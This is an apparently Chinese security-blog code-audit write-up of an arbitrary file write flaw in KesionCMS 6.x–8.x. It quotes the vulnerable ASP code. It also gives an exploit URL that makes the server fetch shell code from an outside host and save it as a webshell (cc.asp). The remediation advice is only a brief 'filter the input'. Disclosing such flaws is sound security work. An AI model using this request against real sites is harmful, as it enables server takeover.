代码审计:kesioncms(科讯cms) 6.x至8.x版本 getshell漏

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

未对提交参数判断,导致可以写任意文件到服务器上…

Wap/Plus/PhotoVote.asp 14 – 23
 
 
Dim KS:Set KS=New PublicCls
Dim ID:ID = Replace(KS.S("ID")," ","")
Dim ChannelID:ChannelID=KS.G("ChannelID")
If ChannelID="" Then ChannelID=2
If KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then
   If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then
      Response.write KS.G("LocalFileName")'错误提示
   End If
End If

 

 

 
代码略……
 
 
'==================================================
'过程名:SaveBeyondFile
'作  用:保存远程的文件到本地
'参  数:LocalFileName ------ 本地文件名
'参  数:RemoteFileUrl ------ 远程文件URL
'==================================================
Function SaveBeyondFile(LocalFileName,RemoteFileUrl)
   On Error Resume Next
SaveBeyondFile=True
dim Ads,Retrieval,GetRemoteData
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", RemoteFileUrl, False, "", ""
.Send
If .Readystate<>4 then
SaveBeyondFile=False
Exit Function
End If
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile server.MapPath(LocalFileName),2
.Cancel()
.Close()
End With
If Err.Number<>0 Then
  Err.Clear
  SaveBeyondFile=False
  Exit Function
End If
Set Ads=nothing
End Function
上面的代码中这几句:
If KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then
If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then
Response.write KS.G("LocalFileName")'错误提示
End If
End If
KS.G("LocalFileName")和KS.G("RemoteFileUrl")仅仅是判断是否为空并过滤一些SQL字符然后就写文件了! 


 

 

登陆后访问:
http://www.t00ls.net/Wap/Plus/PhotoVote.asp?LocalFileName=cc.asp&RemoteFileUrl=http://www.bksec.net/1.txt
成功会在Wap/Plus下写入cc.asp,并返回文件名,其中的1.txt为shell代码。。
 
修复方案:

判断&过滤,你懂懂 

 
作者:My5t3ry

Tags:

KesionCMS漏洞, 代码审计, 科讯CMS漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
代码审计:kesioncms(科讯cms) 6.x至8.x版本 getshell漏